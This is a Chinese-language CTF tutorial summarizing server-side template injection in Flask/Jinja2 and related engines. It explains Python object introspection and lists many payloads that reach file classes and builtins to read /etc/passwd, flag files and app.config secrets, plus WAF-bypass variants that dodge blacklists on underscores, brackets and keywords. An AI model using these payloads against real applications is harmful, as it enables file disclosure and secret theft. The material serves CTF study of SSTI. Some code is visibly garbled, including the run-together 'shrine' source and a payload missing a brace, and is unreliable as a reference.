前言
SSTI(服务端模板注入),在近年的CTF还是经常遇到,18年护网杯的easy_tonado、CISCN2019华东东南赛区的Smarty模板、BJDCTF2020的TWIG模板等等,还有相关考点沙盒逃逸,结合自己做题遇到的利用点做一个总结。
SSTI是什么?
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
简而言之,就是一个购物清单,把将上面的一个一个商品名换成对应的商品放在购物车里。
常见的模板
php常见模板:twig,smarty,blade
python常见的模板:Jinja2,tornado,Django
java常见的模板:FreeMarker,velocity
模板注入的步骤
1.判断是否为SSTI
2.查看文件
3.选可用的对象和调用函数
模板注入的目的
从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用。
Flask模板学习
基础
jinjia格式
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
了解python的几个函数解析
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
一些利用语句
# 获得一个字符串实例
>>> ""
''
# 获得字符串的type实例
>>> "".__class__
<type 'str'>
# 获得其父类
>> "".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
# 获得父类中的object类
>>> "".__class__.__mro__[2]
<type 'object'>
# 获得object类的子类,但发现这个__subclasses__属性是个方法
>>> "".__class__.__mro__[2].__subclasses__
<built-in method __subclasses__ of type object at 0x10376d320>
# 使用__subclasses__()方法,获得object类的子类
>>> "".__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
# 获得第40个子类的一个实例,即一个file实例
>>> "".__class__.__mro__[2].__subclasses__()[40]
<type 'file'>
# 对file初始化
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd")
<open file '/etc/passwd', mode 'r' at 0x10397a8a0>
# 使用file的read属性读取,但发现是个方法
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read
<built-in method read of file object at 0x10397a5d0>
# 使用read()方法读取
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
nobody:*:-2:-2:Unprivileged
User:/var/empty:/usr/bin/false
root:*:0:0:System
Administrator:/var/root:/bin/sh
利用方式
遇到有关FLASK的题,该怎么下手?
查看配置文件
命令执行(沙盒逃逸题目的利用方式)
查看配置文件
什么是查配置文件?我们都知道一个python框架,比如说flask,在框架中内置了一些全局变量,对象,函数等等。我们可以直接访问或是调用。可以通过两个例题来举例:
easy_tornado
这题存在render函数,通过{{}}和字符对象指向handler.settings,指向RequestHandler。这个对象可以获取当前application.settings,从中获取到敏感信息。
shrine
这题给了源码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG') //设置环境变量名称
//注册了一个名为FLAG的config,猜测这就是flag,
如果没有过滤可以直接{{config}}即可查看所有app.config内容,
但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
@app.route('/')
def index(): return open(__file__).read()
@app.route('/shrine/') def shrine(shrine):
def safe_jinja(s): s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) //返回字符串的ascii
if __name__ == '__main__': app.run(debug=True)
同样在此题的Flask框架中,我们可以通过内置的config对象直接访问该应用的配置信息。
先读取配置文件
/shrine/{{url_for.globals['current_app'].config}}
拿到配置文件,找到current_app。url_for内置函数、__globals__对包含函数全局变量的字典的引用,current_app为函数,config配置文件。
由于过滤config,采用内置函数绕过WAF
/shrine/{{get_flashed_messages.globals['current_app'].config['FLAG']}}
WAF绕过
绕过字符与典型函数类
过滤[]
//绕过方法1:__getitem__绕中括号限制
即将mro_[2]等价于__getitem__(2)即可
''.__class__.__mro__.__getitem__(2)<-> 等价于''.__class__.__mro__[2]
{}.__class__.__bases__.__getitem__(0)<->等价于{}.__class__.__bases__.__getitem__(0)
().__class__.__bases__.__getitem__(0)<->().__class__.__bases__.__getitem__(0)
request.__class__.__mro__.__getitem__(8)<->request.__class__.__mro__.__getitem__(8)
//绕过方法2:利用pop(40)绕
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
//使用 .getlist()方法绕
blacklist = ["__","request[request.","__class__",'[',']']
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
过滤_
blacklist = ["_"]
#绕过方法利用request.args.<param>绕
/?exploit={{request[request.args.pa]}}&pa=**class**
过滤’request[request.’
blacklist = ["__","request[request."]
#绕过方法:
request | attr(request.args.a)等价于request["a"]
#利用payload
?exploit={{request|attr(request.args.pa)}}&pa=**class**
过滤_class_
blacklist = ["__","request[request.","__class__"]
#绕过方法:管道+join方法,可以进行字符串的拼接操作
["a","b","c"]|join等价于abc.
exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
即等价于
{{__class__}}
绕过.方法
若.也被过滤,使用原生jinja2函数|attr()
request.__class__<-->request|attr("__class__")
绕过 ‘__’
exploit = request.args.get('exploit')
print exploit
blacklist = ["_"]
for bad_string in blacklist:
if bad_string in exploit:
return "HACK ATTEMPT {}".format(bad_string), 400
绕过’[’ 和 ‘]’
blacklist = ["__","request[request.","__class__",'[',']']
过滤关键字类
绕过config、request以及class
拼接绕
{{ session['__cla'+'ss__'] }}<-->{{session['__class__']}}
利用__enter__方法绕(python3中)
{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256]
绕下划线、与中括号
{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')|attr(request.values.name5)()}}
post:
name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read
当有的字符串被 waf 的时候可以通过编码或者字符串拼接绕过
base64
().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read()
相当于:
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()
字符串拼接
+拼接
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt').read()
相当于
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()
[::-1]取反绕过
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
reload方法
del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
del __builtins__.__dict__['eval'] # evaluating code could be dangerous
del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
特殊读取文件姿势
{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
#利用self姿势
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}